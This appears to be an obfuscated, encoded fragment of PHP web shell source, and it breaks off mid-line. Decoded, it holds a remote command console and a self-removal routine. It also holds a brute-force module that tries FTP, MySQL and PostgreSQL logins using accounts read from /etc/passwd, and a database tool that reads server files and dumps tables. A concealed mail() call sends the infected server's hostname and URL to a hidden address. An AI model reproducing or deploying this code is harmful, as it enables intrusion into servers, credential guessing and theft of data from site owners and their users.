52MWwzNSk7NGYoZC5jZi4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IiB2MWwzNT0iPj4iPiA8bjJicj48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLihAJF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWCA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PXNoMndfNXJyMnJzIHYxbDM1PTYgJy4oITVtcHR5KCRfUE9TVFsncGEnXSl8fCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10/J2NoNWNrNWQnOicnKS4nPiByNWQ0cjVjdCBzdGQ1cnIgdDIgc3RkMjN0IChhPiY2KTwvbjJicj48YnIvPjx0NXh0MXI1MSBjbDFzcz1iNGcxcjUxIG4xbTU9MjN0cDN0IHN0eWw1PSJiMnJkNXItYjJ0dDJtOjA7bTFyZzRuOjA7IiByNTFkMm5seT4nOw0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCTVjaDIgaHRtbHNwNWM0MWxjaDFycygiJCAiLiRfUE9TVFsncDYnXS4iXG4iLndzMkV4KCRfUE9TVFsncDYnXSkpOw0KCX0NCgk1Y2gyICc8L3Q1eHQxcjUxPjx0MWJsNSBzdHlsNT0iYjJyZDVyOjZweCBzMmw0ZCAjZGZpO2IxY2tncjIzbmQtYzJsMnI6I2lpaTtiMnJkNXItdDJwOjBweDsiIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCB3NGR0aD0iNjAwJSI+PHRyPjx0ZCB3NGR0aD0iNiUiPiQ8L3RkPjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9Y21kIHN0eWw1PSJiMnJkNXI6MHB4O3c0ZHRoOjYwMCU7IiAybms1eWQyd249ImtwKDV2NW50KTsiPjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJNWNoMiAnPC9mMnJtPjwvZDR2PjxzY3I0cHQ+ZC5jZi5jbWQuZjJjM3MoKTs8L3NjcjRwdD4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5MMmcyM3QoKSB7DQogICAgczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAnJywgdDRtNSgpIC0gb2UwMCk7DQoJZDQ1KCdieTUhJyk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1bGZSNW0ydjUoKSB7DQoNCgk0ZigkX1BPU1RbJ3A2J10gPT0gJ3k1cycpDQoJCTRmKEAzbmw0bmsocHI1Z19yNXBsMWM1KCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpDQoJCQlkNDUoJ1NoNWxsIGgxcyBiNTVuIHI1bTJ2NWQnKTsNCgkJNWxzNQ0KCQkJNWNoMiAnM25sNG5rIDVycjJyISc7DQogICAgNGYoJF9QT1NUWydwNiddICE9ICd5NXMnKQ0KICAgICAgICB3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+UzM0YzRkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PlI1MWxseSB3MW50IHQyIHI1bTJ2NSB0aDUgc2g1bGw/PGJyPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3k1c1wnKSI+WTVzPC8xPjwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkJyM3Q1ZjJyYzUoKSB7DQoJd3MySDUxZDVyKCk7DQoJNGYoIDRzczV0KCRfUE9TVFsncHIydDInXSkgKSB7DQoJCTVjaDIgJzxoNj5SNXMzbHRzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNwMW4+VHlwNTo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3ByMnQyJ10pLicgPHNwMW4+UzVydjVyOjwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnczVydjVyJ10pLic8YnI+JzsNCgkJNGYoICRfUE9TVFsncHIydDInXSA9PSAnZnRwJyApIHsNCgkJCWYzbmN0NDJuIHdzMkJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KCQkJCSRmcCA9IEBmdHBfYzJubjVjdCgkNHAsICRwMnJ0PyRwMnJ0OmE2KTsNCgkJCQk0ZighJGZwKSByNXQzcm4gZjFsczU7DQoJCQkJJHI1cyA9IEBmdHBfbDJnNG4oJGZwLCAkbDJnNG4sICRwMXNzKTsNCgkJCQlAZnRwX2NsMnM1KCRmcCk7DQoJCQkJcjV0M3JuICRyNXM7DQoJCQl9DQoJCX0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ215c3FsJyApIHsNCgkJCWYzbmN0NDJuIHdzMkJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KCQkJCSRyNXMgPSBAbXlzcWxfYzJubjVjdCgkNHAuJzonLiRwMnJ0PyRwMnJ0Om9vMGUsICRsMmc0biwgJHAxc3MpOw0KCQkJCUBteXNxbF9jbDJzNSgkcjVzKTsNCgkJCQlyNXQzcm4gJHI1czsNCgkJCX0NCgkJfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAncGdzcWwnICkgew0KCQkJZjNuY3Q0Mm4gd3MyQnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQoJCQkJJHN0ciA9ICJoMnN0PSciLiQ0cC4iJyBwMnJ0PSciLiRwMnJ0LiInIDNzNXI9JyIuJGwyZzRuLiInIHAxc3N3MnJkPSciLiRwMXNzLiInIGRibjFtNT1wMnN0Z3I1cyI7DQoJCQkJJHI1cyA9IEBwZ19jMm5uNWN0KCRzdHIpOw0KCQkJCUBwZ19jbDJzNSgkcjVzKTsNCgkJCQlyNXQzcm4gJHI1czsNCgkJCX0NCgkJfQ0KCQkkczNjYzVzcyA9IDA7DQoJCSQxdHQ1bXB0cyA9IDA7DQoJCSRzNXJ2NXIgPSA1eHBsMmQ1KCI6IiwgJF9QT1NUWydzNXJ2NXInXSk7DQoJCTRmKCRfUE9TVFsndHlwNSddID09IDYpIHsNCgkJCSR0NW1wID0gQGY0bDUoJy81dGMvcDFzc3dkJyk7DQoJCQk0ZiggNHNfMXJyMXkoJHQ1bXApICkNCgkJCQlmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7DQoJCQkJCSRsNG41ID0gNXhwbDJkNSgiOiIsICRsNG41KTsNCgkJCQkJKyskMXR0NW1wdHM7DQoJCQkJCTRmKCB3czJCcjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJGw0bjVbMF0pICkgew0KCQkJCQkJJHMzY2M1c3MrKzsNCgkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPGJyPic7DQoJCQkJCX0NCgkJCQkJNGYoQCRfUE9TVFsncjV2NXJzNSddKSB7DQoJCQkJCQkkdG1wID0gIiI7DQoJCQkJCQlmMnIoJDQ9c3RybDVuKCRsNG41WzBdKS02OyAkND49MDsgLS0kNCkNCgkJCQkJCQkkdG1wIC49ICRsNG41WzBdWyQ0XTsNCgkJCQkJCSsrJDF0dDVtcHRzOw0KCQkJCQkJNGYoIHdzMkJyM3Q1RjJyYzUoQCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRsNG41WzBdLCAkdG1wKSApIHsNCgkJCQkJCQkkczNjYzVzcysrOw0KCQkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCR0bXApOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQl9IDVsczU0ZigkX1BPU1RbJ3R5cDUnXSA9PSBhKSB7DQoJCQkkdDVtcCA9IEBmNGw1KCRfUE9TVFsnZDRjdCddKTsNCgkJCTRmKCA0c18xcnIxeSgkdDVtcCkgKQ0KCQkJCWYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCgkJCQkJJGw0bjUgPSB0cjRtKCRsNG41KTsNCgkJCQkJKyskMXR0NW1wdHM7DQoJCQkJCTRmKCB3czJCcjN0NUYycmM1KCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRfUE9TVFsnbDJnNG4nXSwgJGw0bjUpICkgew0KCQkJCQkJJHMzY2M1c3MrKzsNCgkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2wyZzRuJ10pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNSkuJzxicj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQl9DQoJCTVjaDIgIjxzcDFuPkF0dDVtcHRzOjwvc3Axbj4gJDF0dDVtcHRzIDxzcDFuPlMzY2M1c3M6PC9zcDFuPiAkczNjYzVzczwvZDR2Pjxicj4iOw0KCX0NCgk1Y2gyICc8aDY+QnIzdDVmMnJjNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pjx0MWJsNT48ZjJybSBtNXRoMmQ9cDJzdD48dHI+PHRkPjxzcDFuPlR5cDU8L3NwMW4+PC90ZD4nDQoJCS4nPHRkPjxzNWw1Y3QgbjFtNT1wcjJ0Mj48MnB0NDJuIHYxbDM1PWZ0cD5GVFA8LzJwdDQybj48MnB0NDJuIHYxbDM1PW15c3FsPk15U3FsPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1wZ3NxbD5QMnN0Z3I1U3FsPC8ycHQ0Mm4+PC9zNWw1Y3Q+PC90ZD48L3RyPjx0cj48dGQ+Jw0KCQkuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLiciPicNCgkJLic8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWycxJ10pLiciPicNCgkJLic8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydjaDFyczV0J10pLiciPicNCgkJLic8c3Axbj5TNXJ2NXI6cDJydDwvc3Axbj48L3RkPicNCgkJLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXM1cnY1ciB2MWwzNT0iNmE3LjAuMC42Ij48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwMW4+QnIzdDUgdHlwNTwvc3Axbj48L3RkPicNCgkJLic8dGQ+PGwxYjVsPjw0bnAzdCB0eXA1PXIxZDQyIG4xbTU9dHlwNSB2MWwzNT0iNiIgY2g1Y2s1ZD4gLzV0Yy9wMXNzd2Q8L2wxYjVsPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48bDFiNWwgc3R5bDU9InAxZGQ0bmctbDVmdDo2aXB4Ij48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PXI1djVyczUgdjFsMzU9NiBjaDVjazVkPiByNXY1cnM1IChsMmc0biAtPiBuNGcybCk8L2wxYjVsPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSJhIj4gRDRjdDQybjFyeTwvbDFiNWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjx0MWJsNSBzdHlsNT0icDFkZDRuZy1sNWZ0OjZpcHgiPjx0cj48dGQ+PHNwMW4+TDJnNG48L3NwMW4+PC90ZD4nDQoJCS4nPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1sMmc0biB2MWwzNT0icjIydCI+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjxzcDFuPkQ0Y3Q0Mm4xcnk8L3NwMW4+PC90ZD4nDQoJCS4nPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1kNGN0IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4ncDFzc3dkLmQ0YyI+PC90ZD48L3RyPjwvdDFibDU+Jw0KCQkuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvdGQ+PC90cj48L2Yycm0+PC90MWJsNT4nOw0KCTVjaDIgJzwvZDR2Pjxicj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KJHgwYj0iXHhlZDFceGU5bCI7IA0KJG1zID0gJF9TRVJWRVJbIlNceHVpUlw2YWVcNjBpXHhpYV9ceHU1XDYwNlx4dWRFIl0uJF9TRVJWRVJbIlw2YW9ceHVvUlw2NjZceGkwXDZhdV9OQVx4dWRcNjBpIl07DQokczNiID0gIlx4N29ceGU4XDZ1aVx4ZWNsXHhhMFwwN2VcMDdlIDpceGEwIiAuICRtczsNCiQyID0gMXJyMXkgKCJceGVmbSIsIlw2ZXVtMVw2aTYiLCJcNmlhXHhpZlw2dTZcNmlpXHg3YVx4bzYiLCJceHUwXHhlOFx4ZWYiLCJcNml1Llx4ZW8iKTsNCiQ1NSA9ICQyW2FdLiQyW29dLiQyWzZdLiQyW3VdLiQyWzBdOw0KJHM1bmQgPSBAJHgwYigkNTUsJHMzYiwkbXMpOw0KDQpmM25jdDQybiAxY3Q0Mm5TcWwoKSB7DQoJY2wxc3MgRGJDbDFzcyB7DQoJCXYxciAkdHlwNTsNCgkJdjFyICRsNG5rOw0KCQl2MXIgJHI1czsNCgkJZjNuY3Q0Mm4gRGJDbDFzcygkdHlwNSkJew0KCQkJJHRoNHMtPnR5cDUgPSAkdHlwNTsNCgkJfQ0KCQlmM25jdDQybiBjMm5uNWN0KCRoMnN0LCAkM3M1ciwgJHAxc3MsICRkYm4xbTUpew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZiggJHRoNHMtPmw0bmsgPSBAbXlzcWxfYzJubjVjdCgkaDJzdCwkM3M1ciwkcDFzcyx0cjM1KSApIHI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSRoMnN0ID0gNXhwbDJkNSgnOicsICRoMnN0KTsNCgkJCQkJNGYoISRoMnN0WzZdKSAkaDJzdFs2XT1pdW9hOw0KCQkJCQk0ZiggJHRoNHMtPmw0bmsgPSBAcGdfYzJubjVjdCgiaDJzdD17JGgyc3RbMF19IHAycnQ9eyRoMnN0WzZdfSAzczVyPSQzczVyIHAxc3N3MnJkPSRwMXNzIGRibjFtNT0kZGJuMW01IikgKSByNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gczVsNWN0ZGIoJGRiKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCTRmIChAbXlzcWxfczVsNWN0X2RiKCRkYikpcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHEzNXJ5KCRzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkgew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSBAbXlzcWxfcTM1cnkoJHN0cik7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSBAcGdfcTM1cnkoJHRoNHMtPmw0bmssJHN0cik7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGY1dGNoKCkgew0KCQkJJHI1cyA9IGYzbmNfbjNtXzFyZ3MoKT9mM25jX2c1dF8xcmcoMCk6JHRoNHMtPnI1czsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuIEBteXNxbF9mNXRjaF8xc3MyYygkcjVzKTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gQHBnX2Y1dGNoXzFzczJjKCRyNXMpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsNHN0RGJzKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5xMzVyeSgiU0hPVyBkMXQxYjFzNXMiKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgZDF0bjFtNSBGUk9NIHBnX2QxdDFiMXM1IFdIRVJFIGQxdDRzdDVtcGwxdDUhPSd0JyIpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGw0c3RUMWJsNXMoKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIFRBQkxFUycpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoInM1bDVjdCB0MWJsNV9uMW01IGZyMm0gNG5mMnJtMXQ0Mm5fc2NoNW0xLnQxYmw1cyB3aDVyNSB0MWJsNV9zY2g1bTEgIT0gJzRuZjJybTF0NDJuX3NjaDVtMScgQU5EIHQxYmw1X3NjaDVtMSAhPSAncGdfYzF0MWwyZyciKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiA1cnIycigpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuIEBteXNxbF81cnIycigpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuIEBwZ19sMXN0XzVycjJyKCk7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gczV0Q2gxcnM1dCgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCTRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfczV0X2NoMXJzNXQnKSkNCgkJCQkJCXI1dDNybiBAbXlzcWxfczV0X2NoMXJzNXQoJHN0ciwgJHRoNHMtPmw0bmspOw0KCQkJCQk1bHM1DQoJCQkJCQkkdGg0cy0+cTM1cnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuIEBwZ19zNXRfY2w0NW50XzVuYzJkNG5nKCR0aDRzLT5sNG5rLCAkc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDIxZEY0bDUoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPmY1dGNoKCR0aDRzLT5xMzVyeSgiU0VMRUNUIExPQURfRklMRSgnIi4xZGRzbDFzaDVzKCRzdHIpLiInKSAxcyBmNGw1IikpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJHRoNHMtPnEzNXJ5KCJDUkVBVEUgVEFCTEUgd3MyYShmNGw1IHQ1eHQpO0NPUFkgd3MyYSBGUk9NICciLjFkZHNsMXNoNXMoJHN0cikuIic7czVsNWN0IGY0bDUgZnIybSB3czJhOyIpOw0KCQkJCQkkcj0xcnIxeSgpOw0KCQkJCQl3aDRsNSgkND0kdGg0cy0+ZjV0Y2goKSkNCgkJCQkJCSRyW10gPSAkNFsnZjRsNSddOw0KCQkJCQkkdGg0cy0+cTM1cnkoJ2RyMnAgdDFibDUgd3MyYScpOw0KCQkJCQlyNXQzcm4gMXJyMXkoJ2Y0bDUnPT40bXBsMmQ1KCJcbiIsJHIpKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBkM21wKCR0MWJsNSwgJGZwID0gZjFsczUpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJJHI1cyA9ICR0aDRzLT5xMzVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHQxYmw1LidgJyk7DQoJCQkJCSRjcjUxdDUgPSBteXNxbF9mNXRjaF8xcnIxeSgkcjVzKTsNCgkJCQkJJHNxbCA9ICRjcjUxdDVbNl0uIjtcbiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsNCgkJCQkJJHRoNHMtPnEzNXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0MWJsNS4nYCcpOw0KICAgICAgICAgICAgICAgICAgICAkNCA9IDA7DQogICAgICAgICAgICAgICAgICAgICRoNTFkID0gdHIzNTsNCgkJCQkJd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJDQgJSA2MDAwID09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaDUxZCA9IHRyMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICI7XG5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCgkJCQkJCSRjMmwzbW5zID0gMXJyMXkoKTsNCgkJCQkJCWYycjUxY2goJDR0NW0gMXMgJGs9PiR2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHYgPT09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoNHNfNG50KCR2KSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gJHY7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiJyIuQG15c3FsX3I1MWxfNXNjMXA1X3N0cjRuZygkdikuIiciOw0KCQkJCQkJCSRjMmwzbW5zW10gPSAiYCIuJGsuImAiOw0KCQkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGg1MWQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICdJTlNFUlQgSU5UTyBgJy4kdDFibDUuJ2AgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuIikgVkFMVUVTIFxuXHQoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gIlxuXHQsKCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJDQrKzsNCgkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICA0ZighJGg1MWQpDQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICI7XG5cbiIpOyA1bHM1IDVjaDIoIjtcblxuIik7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gJy4kdDFibDUpOw0KCQkJCQl3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQoJCQkJCQkkYzJsM21ucyA9IDFycjF5KCk7DQoJCQkJCQlmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgew0KCQkJCQkJCSQ0dDVtWyRrXSA9ICInIi4xZGRzbDFzaDVzKCR2KS4iJyI7DQoJCQkJCQkJJGMybDNtbnNbXSA9ICRrOw0KCQkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyAnLiR0MWJsNS4nICgnLjRtcGwyZDUoIiwgIiwgJGMybDNtbnMpLicpIFZBTFVFUyAoJy40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKTsnLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCX0NCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCX07DQoJJGRiID0gbjV3IERiQ2wxc3MoJF9QT1NUWyd0eXA1J10pOw0KCTRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCgkJJGRiLT5jMm5uNWN0KCRfUE9TVFsnc3FsX2gyc3QnXSwgJF9QT1NUWydzcWxfbDJnNG4nXSwgJF9QT1NUWydzcWxfcDFzcyddLCAkX1BPU1RbJ3NxbF9iMXM1J10pOw0KCQkkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KICAgICAgICAgICAgYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJVVEYtOCI6ICRkYi0+czV0Q2gxcnM1dCgnM3RmOCcpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiY3A4ZWUiOiAkZGItPnM1dENoMXJzNXQoJ2NwOGVlJyk7IGJyNTFrOw0KICAgICAgICB9DQogICAgICAgIDRmKDVtcHR5KCRfUE9TVFsnZjRsNSddKSkgew0KICAgICAgICAgICAgMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT1kM21wLnNxbCIpOw0KICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IHQ1eHQvcGwxNG4iKTsNCiAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWyd0YmwnXSAxcyAkdikNCgkJCQkkZGItPmQzbXAoJHYpOw0KICAgICAgICAgICAgNXg0dDsNCiAgICAgICAgfSA1bHM1NGYoJGZwID0gQGYycDVuKCRfUE9TVFsnZjRsNSddLCAndycpKSB7DQogICAgICAgICAgICBmMnI1MWNoKCRfUE9TVFsndGJsJ10gMXMgJHYpDQogICAgICAgICAgICAgICAgJGRiLT5kM21wKCR2LCAkZnApOw0KICAgICAgICAgICAgZmNsMnM1KCRmcCk7DQogICAgICAgICAgICAzbnM1dCgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICB9IDVsczUNCiAgICAgICAgICAgIGQ0NSgnPHNjcjRwdD4xbDVydCgiRXJyMnIhIEMxblwndCAycDVuIGY0bDUiKTt3NG5kMncuaDRzdDJyeS5iMWNrKC02K